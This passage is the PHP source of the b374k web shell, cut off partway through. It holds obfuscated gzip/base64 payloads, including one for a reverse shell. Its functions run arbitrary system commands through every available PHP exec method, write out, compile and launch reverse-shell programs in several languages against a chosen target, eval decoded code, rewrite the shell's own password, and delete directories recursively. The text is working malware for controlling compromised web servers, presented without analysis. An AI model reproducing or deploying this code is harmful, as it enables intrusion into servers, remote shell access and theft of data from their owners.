inehnwTCsViLljWgFRt6Clvejk35BPOwP1cJbFBNVcm03Xto3WiI1kfkhpBNKTPytPuytBtKu2w6TiJGLmp9VdUAcACgxeg0QRRmLVmW7Tm8H4gNd3oKFj7K130dyMUHYBqhL8ev64NGStfDRrVpQ645RoORNaM0b+GiyFlCW8LRSm20Ehmum/wHQo7ahI9fDT1W7T2u3SwZmyuLsM6PpUfRpMJqhCrCVbQN8bks/ygdk/ZgsGAb+n/6v0/FCAGAX/hn7XqvL/oKVafU9f8Fqtbq68L/O26rFn2n5vZbHtYwuAoBZRV9t4MzoPDN6zoyrAiNWB4Z6uDsHhIYCtIB1NHrIjMKXJLLEkPP082J9pHvsDAoAoUIGO5TLFDPEKTQA0N4/2quJpb2sxByJBABmnhJaDOKwoN91Gk/70vhdWyHmcLSZpm+y6eDfAoFwEUcw8/TR5o3lCpkAwOQK2P87zvzf"; $s_rs_php = "7VVNb+M2ED3bgP+DlhUQCVUsyy6wQFxmL+2xwKIt0MMmFWSKsghLIsuhai+a/PcORcnWOk6yaLe9tDBikzOcx/l4fPn2nSrVbPqVVxqj4CaOmcz5fCvltuJzJutYxZvV229211DyqopnU6611KnmSmojmm2wCNezKXCTGlHztBK1MM4mN6moVSWYMGlRtVAG1jqb+ibTW26oD6kGt14frUD5QVWYQkA8EvVGG+czoMlq9dYu9xlt2qqyS35aQkkJBmNa3s/f//gDPRiu6/X7nxJ6dee//+W726t170bbOt6IJobSuxbEBteUdGV6XZnejcdk03BmeH7XkC5tUQRMto0JhkxDSpPwj9l04ivqH+uY+JgG6RYGMUWT280j9q0CfgljeYYBHxb3Pc7RktwfATO26wG7lIq2YUbIJuUHAQaCK8UaU6WF1LursEcWOT1ZuyFMMLKz0+skxEgTJGOzMy0Gk5IgDimOGEQehGcxQyKYXF+uuxUoGM2zOgXJdsgO4Pp3rgNimEKSLebd54bMfRX5SKlGdj8Y0906xPa0ki22DKKVS8lnZ9gZY1zZE0PG6Dayknu8ENoN7gIkedo2Wc2DMFpEqxDLIHvRuGQnxV4LwwOfRX49x46zPRY6J7ekA5zsS1GhV72htMhwjC7Izqyw48E4d65rlubbtM4MKwMSs/zOCz78egf3X4exQD5jsVqHffzEz3OK+368Ll5AmgsdoCsMWTkse78v6Tg7Z33svnt6GS3qcfm+6kq18yLew4P3jP+3Fv2ht8Gu7tZHPA/v4wdbOV6H72D+9PJR56TLskunYJUEfmzMsHUDsics/JPWu8N+DjTTOvsYLOitWxAlFCcR0SSMknPjHo3LC8YeTWmqtGSpVLzBDMoI8XEQQjk/9uwN9lxzkK1mtlacz+hJjKm4qZBvVvNsOD7TaPHKkeT1I8uXj7DB6zhodDuwzz5+Lgvb44cHt3JXhuFojL7O+mbaDvc59Rf3rDreW6HeBRgQocDia8wiq6wnZosmPSHp7MRiQQtEyDs7g4Grw2D7VvkiHNP1E7whrYugg/MpMnsVdPkS6PKzQB/P+Dti9rB0FX66T872Q7c7Kg52PTyH078HJ6NW5AcZLazIOfKWnYDwBv+OYvg31A7+otrBf17t4LLavSBv8L+8XToCr8sbfKa8wReTN3hGNODflTf4J+TtHPQ5efsimvbu9k8="; $s_favicon = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKYSURBVDjLnZPJT1NRFMb5G1wDHV5boNiqdHrvFYolCAtsGSSWKpMFKhYqlDI6oAEKaVJwCIgSphaKtLYWCgSNBgRjMNHoxsSFS3cmJmA0NMTw+R6JKKZl4eJL7sm953fOd3JPHIC4WMpcppG5SGnZc8ZjVVF6QLn975sDgfaZmvg71oRJZIRUYcuAnq/2KWroGfm3QwEn2YpLVPPvOD2oiqj9yq/mGznegl56mx6T7ZbY1M6YAM0CuZkxT0b2Wg6QW/SsApRXDsotR+d6E9Y/h9DuqoCuJq0lKoDxqU1/pITGR27mBU4h+GEcTz5OY+ClA5JbyahYzof/9TBO9B/FcWcqpA4xU3We3GJ87ntnfO5meinMvruNnqcmXA2XoDVcCc0wCYkzBaZpA7ILRJ/2O2B87jA+QT9UeDRe8svZYAG8b/txc6kc9mA+yqayYPQXwvdmBEOrA5B2p0BtFIYOWKCm5RukWwZyXIbA+0F0LpaiKaBHmVsLw4we99ccsM8a8GClF5JOMcQdou8prULrgRmQo7KI0VcE13MrGv06lE5kodhzGvdWu2GdKkTVWC4DcELcJkKyXbCb1EhAVM//M0DVUNqP2qAJd1baUDaZjTMTeXAttsPi0cM0mgvHvA0NkxYk2QRIrieOsDmEmXttH0DfVfSluSToWmpD8bgOroUOWNw6VI7koGfOBuq6EqLLTNU6ojrmP5D1HVsjmrkYezGIrlA9LjKgnrlGXJlpgbCOD0EtD0QNN8I3cZqjAlhJr4rXpB1iNLhrYffUQWoT7yUKzbxqJlHLq0jc5JYmgHMunogKYJVqF7mTrPyfgktMRTMX/CrOq1gLF3fYNrLiX+Bs8MoTwT2fQPwXgBXHGL+TaIjfinb3C7cscRMIcYL6AAAAAElFTkSuQmCC"; $s_arrow = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAACXBIWXMAAAsSAAALEgHS3X78AAAEYElEQVRYw8VXS0xcVRj+z7kv5tF5MPfOo1AgkFBKoQPuFAyxstKkcWHjGhOjcacxujMxaqtx48b4iDExxiZuXBVdtEURN00qDBMgTUOmnTEMc+/ce4d5c+k957gZEKYCd5DSb3tOzv+d//0hcACO47hgsL07HA5fDIfDkz6ffxQAogDgblypMcZypVIpYRj6DVVVZ0zTSBNCyGFvo4MOMca8LMsjvb19r8uy8iLGOAIA+JA3KaVU1XV9OpVa/VrX9QSl1G6ZgM/ni5w7N/iuooSnMMZBOAIopQVN0767e3fls1KppDoigBCCrq6ukf7+gS9cLtfTh3nJAVi9Xr+dTCbf1LTcAmNsb3ibjXd394wPDQ1fE0UxfgzGAQCQIAid0Whs8uHDrflisZjZl8Dp052jw8PxazzP9cExA2PcHgopE7Va7Y9yuZR7hIDP54uMjj71gySJF+AxAWPcHgwGh3U9f92yrOoOAYwxF4+PvB8IBF9u0e02AFAHlbEDQRA63W43zWbXf2eMMQwA0NHROaoo4VdbeYgxZmUy6SuZTPojxthmK46QZeU1WQ5d2O4x3MDA4Ader3esFePp9IMrS0tLn2iaNieKIvH7A88ghHhHWYmQWxQltL6e/ZULheTe/v7+qwjhU60YX15e/pQQ22KMEsMwbrdKwuVyxQoF82eup6fvcigUesVJ7Bljm+n0g6vbxnc1HKLrrZFACHksy1rhBgfPv9fW1jbk8OePGP/3fIeE7fcHxhyQQBijOhePj3wIAHIrbt//Xmue4HmB586eHfgYAKSj/vz/eAJjLPAA4DlonhSLpe9VVfsxGAyGd8d8Y6OgUkrJdh8JBIIRjPFOY1NV7adAINgRCATeOKC8vejSpZfs5pa8+0MAUGSM7RmnlmXlZ2d/m7AsKw8AIEmSMjHx3KwkSUpTovEA4D8gwQkPAJXGpf2mZQAh1JzBpOlXGCHUjhCSW+zOFWzbdg6eEGzbXseVSnnxSRGoVMqLWNfNm42BctIghmHcxJqWu0UpOfEwUErVfF6bwYWCmdZ1Y/qkCei6Pm0YRhoTQkgqtfoVpdR0vGMhwKIoKZIkRSRJioiipCDkfJRTSo1UavVLQgjhG2wW83nt20gk+o6TnUAQxNDY2PgMY4w2yhILghByat80jW8Mw0jubESMMVaplJORSHRcEIQzDiYZ4jjOw/O8l+d5L8dxHtTcLPbB5mb9z0Ri4a16vV7ZsxNallWtVqt/xWKxixjj0GNJe0LuLSzMTxmGfv8/t+JarapubW3Ny7Ly7HGTsG373srK8lQ2u3Zn37UcAKBYLP5tWZtzPp9vUBDEM8egDWi1Wp1bXExMZbNrdw4UJrtIqLmcel0UJdvj8Z7HGLmPVuvEWFtb+zyRWHh7Y6Nw/yjilJNlpSFO5RcwxjGH4nRd1/VfdolTciR13CTPu8Lh8POyLE96vafiPM9HAWB7kS3btp2rVMpJ0zRvqKp6yzSNjBN5/g/C3ULDeIdIrQAAAABJRU5ErkJggg=="; $s_dark_cb = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAASdJREFUeNrsk0GKwjAYhZNJqYviQpDKLOcY3sOFIF5DFF0KgjeYAwizmDuNOxHcFrGlje9pA1KbNOqshvnh2YD58v6m75dxHIdCiAk0gt5Fc+2gDbQO8DNTSk1D1BtKSikoWxVF0U7TdJ5lmSI8BtfCARKsoFyw1poeLcBjwl0aEgqCwAma4n5yhC+AceSzqdD69RAD+zjedSBeqH/4CfiA74bgaG+o3HxQURR1sOgjnqpMDv+0ikZJkpzyPP9kwlbIaQgNsO55GO+hb2hp3vnI1Hl2XZT7xe+PJNbWYWgcyao7L+p22h4ayephdyPJVl3v+jFcuhNmg+tAazxvN9tA86m83H6+Fm5n3mpd49sSlDaYN3jJb8WFazMy2rftujb/yEieBRgAZHG/OeGef6MAAAAASUVORK5CYII="; $s_bright_cb = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAACXBIWXMAAAsSAAALEgHS3X78AAABP0lEQVQ4je2TsUoDQRCGv5m93RRBLBIQO/NOFgHJa4iiZUDwNUSx8J0s5SCFkkJy3M5aJBfwLrm7oI3gD8sWO9/+O+z8kud5AC6BC+CUbr0Bj8B9BlzHGK+KoghmpiklUkp7SVU9CiHceO9dBsyKohjEGMXMMLNWWETUzAbe+1kGjM1MzIyyLFvBSmYmwDgDSCltHc2sE1bV9V7BfRwblxxM/MM/gxeqmkSkNyQiCVgo8BBCWDnnkoigqq3LOZeGw+EKeMqAO+998N6fAyc9jHPgBZhXPX8C3XO5lm3q+f1Ixhh3QUCPSNbdReRb2g6KZP2yRiRjjK29vj7fNlupO/QFG/Cu4n0grL+ql9tkOm93FhF2PfxsA9bPtrCqIiJIzWUynVNFph4dyfP8fblcHpdlSTUkXVJVRqPRxx+N5BfD5OFvXtL9jAAAAABJRU5ErkJggg=="; $s_style = "rVbLjpswFP0VqqhSH4AgSTMzoH5Cl11VXRgwwRqwkTGdZBD/Xj/BgJNppbE3Drm+z3PP9ZehJJgFJWhQfU1+Zj1mvfeDYOJ3kKIyHTNSXIcM5M9nSnpcJLtIrlRe69ArTOJ9e0lzUhOa7Eq51J8vEJ0rlhy58FjRISO0gDSJ24vXkRoV3m4vVzqCwdw+y0PK4IUFBcwJBQwRnGCCIRdLKvIH0mFpamwpHFpQFAifk8h75L6MJaHNUKCurcE1QbhG4joDWQ09VvntkPe04yoKWIK+Zum4awDCiyBjudKgIa+BcjygoEB9l8QRt+D49IIKVvFj9DE13vC8KH92FQRcfpBxgRqdcVLDkqUNoGeEk2i6EU2yHiuGe39X8TBXYC8c4PnOnhELGAW4ExlIKGGAwU9BfAgPDwU8f1bx3BO4b9IDfggvLU8/rFHHVD08sK7IroG4d6XTaPdEZo4yMxR2vATDfyR6iyMDG1HnoFKoi09CdOuCdhXINTukgGOCPprChSJ0hEui0RuIsrlMa0UnS4mIUSiWnihNLKs7j9FB+7gXKeAZZCgHtcZFg4qi5mgNz+DKs23jXZuye+tB9JYUepfq15AxHmTXglxHwLWLYjZoUc79k9jpv3StQ+WKOd7Fcwd+jhv4iC8bgM+1VoFqkrHDPZzEvu3oW37O/48hwm3PXv2wpaRpmR+yCwMUAle3aKBHJoqMMEYaG32HJ7HvU7EFR25emR22GDJ+WDSmUXp4iORV5XnWs2Flb+H6k9hrZNyk/qn/JBkYbhkcXCrKFM0inHTcQ2IS4Px5M2/aus0Xrl5kpE1Xk2VWX22SuOgQZcHcPk0gm+5TB9DiR7E/oKYllAHMJ1PYwYbP5CuaxpkM00XToeApT045O4HLFjjdJVCtVuXaqH7U1RfKK5/HvfXYwUlK/u0aaMlqbw/HHGJOGjauv61xlou9ZpfTpuWtL1sXXGEv5kAczbFPUy6XS9Augi8lcmb7ZrjWwFGQN0r+JVeOxNvotQfPUnnOE8lTOj2T4ngmvWtGLu8zfm+n8bg0J6p9M9ajXGsG2QLeMx2JCUPlApTmktahH6xbYKxRq40cFvDXvnv72diMBa16DEtC2PKBR4VaG8IieY5pqDWtCGP9bPBV5vjJRtsoOfkXu7bwe17B/JmL/A7zrgvML++rV4MM1vKjPBkQqKeMfDmaJ5NosuWrOchqkj8vH1bLVgwobCFgnJb0yf6vJR2S3MyrdeOho5/iLUGy5d+OKJEHWDgic1sOpMeqi33NNrE5UP9Ng0vmHf8C"; $s_mime_types = "dZThdqMgEIX/7zn7DvMC2jZ62t3HmQgaGkepCDFvvxeNis32xx3huwMYmUkwSvcvRWMtIfz+Fbb5CeC0gsvp/Y1iSEARQZGAMoJyBZ9WN/Rpm7ADoUWNrEw+T7TIbmeJLemhgNCUu4EdH2EekLwh47Sd0DcN9fuBX95U19GIpq+RpN946FSudKXziyIfLlC4PHnSn02r4Un05cm3ca2Nnn3yXPRc9NyTN0+jFXV8pXDO63gmBimvw0hQiuJH8ENLMnmS0h8sl9mW74Nmdc9FK8O5vQeC0iyc7fP4kX3w8UUOWwQTekJY2U2fhWJYwZTVuBooAa0hKAXIaJMMibeZLhEeh95dmeQK51ooBJfYHe64axLgMnY1LZoOPPRngg7shneWbyQAhW9sAjvudgtg4cCWW+OQ/EDXmAxFZTTNMTFwjIvHsFemf2FlKyHEFZzZmYrYk+vUysQoQwg0D6480CBmM5dm4H2+tAC+HLoUioMCjYBnsWUtzcAUn85OK3aFELRNTXslhHW+1ek8RWlwLA8+2KYxI7fZzXTKke6Pawcm6IBGR9A3FJsPj4tKeesr3Y156E2lqQ029f5b2IzCPhzWeT1wjh/Q2vLP6yttox+SPsqPR1Ic/ZD0933dKY7SpMFYgla0dsr2SlPGjLvmKgGmRgGbWXNIvIprgnZQt1gew46StkmO2f4RCp9A1DKjlnk6MmHUfLLYdhk+a7tc+cBCww8mbsA3pkNx2j3hxmgr3up9EprkHw=="; $s_sortable_js = "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"; $s_domready_js = "VVJNb9swDP0riQ6GBAjOetglheBD19uGHrpbkAKaRFcqZMmQ6HSB5/8+2mm+Lpb5yPf4SGndDtGgT5GDRDHisYfUrrpkhwBrxYZoofURLGtOWA1/+5SxKORi+1V9KlGKnbVYVd2lat1ZSqc/H2CQNSeQIwk4X3awn8UmzmzqMmh7ZPJqSozn/1U/R049PH46H4CDwro43xJXAPEPOq9Q7fYyyqzWD9Irm8zQQURZlK/PwXOABUuqEPZqcgpBDor9ePn1lCJS6mfSlgaWWjFt7fNhhnyhDGRyRmPExWVBjWCcju/AZFBsAV9nkEmjUrN5C4vQvzez2V4Cs5FOmRqhIPe7sBePGXDIceV3el9V85cPMqrLBsTo6wxdOsCdk7lIZiF7mnw+E3FrjaiNW+p4ey+yIRc3XauK00rgrnwRE5OQQO4v1CjGAqFdK0x945o4X3vdD8VRZnvTAPNxvG6UswAtMjEZjcbRVY9fYxbA376DNFDLKxlIbJLfv4kpzi9BTNvbF+AauHYFMU3iPw=="; function clean($arr){ $quotes_sybase = strtolower(ini_get(\'magic_quotes_sybase\')); if(function_exists(\'get_magic_quotes_gpc\') && get_magic_quotes_gpc()){ if(is_array($arr)){ foreach($arr as $k=>$v){ if(is_array($v)) $arr[$k] = clean($v); else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === \'off\')? stripslashes($v) : stripslashes(str_replace("\\\'\\\'", "\\\'", $v)); } } } return $arr; } function fgc($file){ return file_get_contents($file); } function kript($plain){ return sha1(md5($plain)); } function changepass($plain){ $newpass = kript($plain); $newpass = "\\$s_pass = \\"".$newpass."\\";"; $con = fgc($_SERVER[\'SCRIPT_FILENAME\']); $con = preg_replace("/\\\\\\$s_pass\\ *=\\ *[\\"\\\']*([a-fA-F0-9]*)[\\"\\\']*;/is",$newpass,$con); return file_put_contents($_SERVER[\'SCRIPT_FILENAME\'], $con); } function get_code($t, $c){ global $s_self; $c = gzinflate(base64_decode($c)); if($t=="css"){ return "<link rel=\'stylesheet\' type=\'text/css\' href=\'".$s_self."|\' />"; } elseif($t=="js"){ return "<script type=\'text/javascript\' src=\'".$s_self."!\'></script>"; } } function showcode($raw){ $c = gzinflate(base64_decode($raw)); ob_get_contents(); ob_end_clean(); ob_start(); eval("?>".$c); $s_res = ob_get_contents(); ob_end_clean(); echo $s_res; die(); } function adds($s_s){ global $s_win; return ($s_win)? addslashes($s_s):$s_s; } function cp($s_p){ global $s_win; if(@is_dir($s_p)){ $s_x = DS; while(substr($s_p, -1) == $s_x) $s_p = rtrim($s_p, $s_x); return ($s_win)? preg_replace("/\\\\\\\\+/is", "\\\\", $s_p.$s_x):$s_p.$s_x; } return $s_p; } function swd($s_p){ global $s_self; $s_ps = explode(DS,$s_p); $s_pu = ""; for($s_i = 0; $s_i < sizeof($s_ps)-1; $s_i++){ $s_pz = ""; for($s_j = 0; $s_j <= $s_i; $s_j++) $s_pz .= $s_ps[$s_j].DS; $s_pu .= "<a href=\'".$s_self."cd=".pl($s_pz)."\'>".$s_ps[$s_i]." ".DS." </a>"; } return trim($s_pu); } function hss($s_t){ return htmlspecialchars($s_t, 2 | 1); } function ru($str){ return (is_array($str))? array_map("rawurldecode", $str):rawurldecode($str); } function pl($str){ return hss(rawurlencode($str)); } function pf($f){ return "\\"".$f."\\""; } function cs($s_t){ return str_replace(array(" ", "\\"", "\'"), "_", $s_t); } function ss($s_t){ return rawurldecode($s_t); } function notif($s){ return "<div class=\'notif\'>".$s."</div>"; } function rs($s_rstype,$s_rstarget,$s_rscode){ $s_result = $s_fpath = ""; $s_fc = gzinflate(base64_decode($s_rscode)); $s_errperm = "Directory ".getcwd().DS." is not writable, please change to a writable one"; $s_errgcc = "Unable to compile using gcc"; $s_errjavac = "Unable to compile using javac"; $s_split = explode("_", $s_rstype); $s_method = $s_split[0]; $s_lang = $s_split[1]; if($s_lang=="py" || $s_lang=="pl" || $s_lang=="rb" || $s_lang=="js"){ if($s_lang=="py") $s_runlang = "python"; elseif($s_lang=="pl") $s_runlang = "perl"; elseif($s_lang=="rb") $s_runlang = "ruby"; elseif($s_lang=="js") $s_runlang = "node"; $s_fpath = "b374k_rs.".$s_lang; if(@is_file($s_fpath)) unlink($s_fpath); if($s_file = fopen($s_fpath, "w")){ fwrite($s_file, $s_fc); fclose($s_file); if(@is_file($s_fpath)){ $s_result = exe("chmod +x ".$s_fpath); if($s_runlang=="node"){ if(check_access("node")!==false) $s_result = exe($s_runlang." ".$s_fpath." ".$s_rstarget); elseif(check_access("nodejs")!==false) $s_result = exe($s_runlang."js ".$s_fpath." ".$s_rstarget); } else $s_result = exe($s_runlang." ".$s_fpath." ".$s_rstarget); } else $s_result = $s_errperm; } else $s_result = $s_errperm; } elseif($s_lang=="c"){ $s_fpath = "b374k_rs"; if(@is_file($s_fpath)) unlink($s_fpath); if(@is_file($s_fpath.".c")) unlink($s_fpath.".c"); if($s_file = fopen($s_fpath.".c", "w")){ fwrite($s_file,$s_fc); fclose($s_file); if(@is_file($s_fpath.".c")){ $s_result = exe("gcc ".$s_fpath.".c -o ".$s_fpath); if(@is_file($s_fpath)){ $s_result = exe("chmod +x ".$s_fpath); $s_result = exe("./".$s_fpath." ".$s_rstarget); } else $s_result = $s_errgcc; } else $s_result = $s_errperm; } else $s_result = $s_errperm; } elseif($s_lang=="win"){ $s_fpath = "b374k_rs.exe"; if(@is_file($s_fpath)) unlink($s_fpath); if($s_file = fopen($s_fpath,"w")){ fwrite($s_file,$s_fc); fclose($s_file); if(@is_file($s_fpath)){ $s_result = exe($s_fpath." ".$s_rstarget); } else $s_result = $s_errperm; } else $s_result = $s_errperm; } elseif($s_lang=="java"){ $s_fpath = "b374k_rs"; if(@is_file($s_fpath.".java")) unlink($s_fpath.".java"); if(@is_file($s_fpath.".class")) unlink($s_fpath.".class"); if($s_file = fopen($s_fpath.".java", "w")){ fwrite($s_file,$s_fc); fclose($s_file); if(@is_file($s_fpath.".java")){ $s_result = exe("javac ".$s_fpath.".java"); if(@is_file($s_fpath.".class")){ $s_result = exe("java ".$s_fpath." ".$s_rstarget); } else $s_result = $s_errjavac; } else $s_result = $s_errperm; } else $s_result = $s_errperm; } elseif($s_lang=="php"){ $s_result = eval("?>".$s_fc); } if(@is_file($s_fpath)) unlink($s_fpath); if(@is_file($s_fpath.".c")) unlink($s_fpath.".c"); if(@is_file($s_fpath.".java")) unlink($s_fpath.".java"); if(@is_file($s_fpath.".class")) unlink($s_fpath.".class"); if(@is_file($s_fpath."\\$pt.class")) unlink($s_fpath."\\$pt.class"); return $s_result; } function geol($str){ $nl = PHP_EOL; if(preg_match("/\\r\\n/", $str, $r)) $nl = "\\r\\n"; else{ if(preg_match("/\\n/", $str, $r)) $nl = "\\n"; elseif(preg_match("/\\r/", $str, $r)) $nl = "\\r"; } return bin2hex($nl); } function ts($s_s){ if($s_s<=0) return 0; $s_w = array(\'B\',\'KB\',\'MB\',\'GB\',\'TB\',\'PB\',\'EB\',\'ZB\',\'YB\'); $s_e = floor(log($s_s)/log(1024)); return sprintf(\'%.2f \'.$s_w[$s_e], ($s_s/pow(1024, floor($s_e)))); } function gs($s_f){ $s_s = @filesize($s_f); if($s_s !== false){ if($s_s<=0) return 0; return ts($s_s); } else return "???"; } function gp($s_f){ if($s_m = @fileperms($s_f)){ $s_p = \'u\'; if(($s_m & 0xC000) == 0xC000)$s_p = \'s\'; elseif(($s_m & 0xA000) == 0xA000)$s_p = \'l\'; elseif(($s_m & 0x8000) == 0x8000)$s_p = \'-\'; elseif(($s_m & 0x6000) == 0x6000)$s_p = \'b\'; elseif(($s_m & 0x4000) == 0x4000)$s_p = \'d\'; elseif(($s_m & 0x2000) == 0x2000)$s_p = \'c\'; elseif(($s_m & 0x1000) == 0x1000)$s_p = \'p\'; $s_p .= ($s_m & 00400)? \'r\':\'-\'; $s_p .= ($s_m & 00200)? \'w\':\'-\'; $s_p .= ($s_m & 00100)? \'x\':\'-\'; $s_p .= ($s_m & 00040)? \'r\':\'-\'; $s_p .= ($s_m & 00020)? \'w\':\'-\'; $s_p .= ($s_m & 00010)? \'x\':\'-\'; $s_p .= ($s_m & 00004)? \'r\':\'-\'; $s_p .= ($s_m & 00002)? \'w\':\'-\'; $s_p .= ($s_m & 00001)? \'x\':\'-\'; return $s_p; } else return "???????????"; } function exe($s_c){ $s_out = ""; $s_c = $s_c." 2>&1"; if(is_callable(\'system\')) { ob_start(); @system($s_c); $s_out = ob_get_contents(); ob_end_clean(); if(!empty($s_out)) return $s_out; } if(is_callable(\'shell_exec\')){ $s_out = @shell_exec($s_c); if(!empty($s_out)) return $s_out; } if(is_callable(\'exec\')) { @exec($s_c,$s_r); if(!empty($s_r)) foreach($s_r as $s_s) $s_out .= $s_s; if(!empty($s_out)) return $s_out; } if(is_callable(\'passthru\')) { ob_start(); @passthru($s_c); $s_out = ob_get_contents(); ob_end_clean(); if(!empty($s_out)) return $s_out; } if(is_callable(\'proc_open\')) { $s_descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); $s_proc = @proc_open($s_c, $s_descriptorspec, $s_pipes, getcwd(), array()); if (is_resource($s_proc)) { while($s_si = fgets($s_pipes[1])) { if(!empty($s_si)) $s_out .= $s_si; } while($s_se = fgets($s_pipes[2])) { if(!empty($s_se)) $s_out .= $s_se; } } @proc_close($s_proc); if(!empty($s_out)) return $s_out; } if(is_callable(\'popen\')){ $s_f = @popen($s_c, \'r\'); if($s_f){ while(!feof($s_f)){ $s_out .= fread($s_f, 2096); } pclose($s_f); } if(!empty($s_out)) return $s_out; } return ""; } function rmdirs($s){ $s = (substr($s,-1)==\'/\')? $s:$s.\'/\'; if($dh = opendir($s)){ while(($f = readdir($dh))!==false){ if(($f!=\'.\')&&($f!=\'..\')){ $f = $s.$f; if(@is_dir($f)) rmdirs($f); else @unlink($f); } } closedir($dh); @rmdir($s); } } function copys($s,$d,$c=0){ if($dh = opendir($s)){ if(!@is_dir($d)) @mkdir($d); while(($f = readdir($dh))!==false){ if(($f!=\'.\')&&($f!=\'..\')){ if(@is_dir($s.DS.$f)) copys($s.DS.$f,$d.DS.$f); else copy($s.DS.$f,$d.DS.$f); } } closedir($dh); } } function getallfiles($s_dir){ $s_f = glob($s_dir.\'*\'); for($s_i = 0; 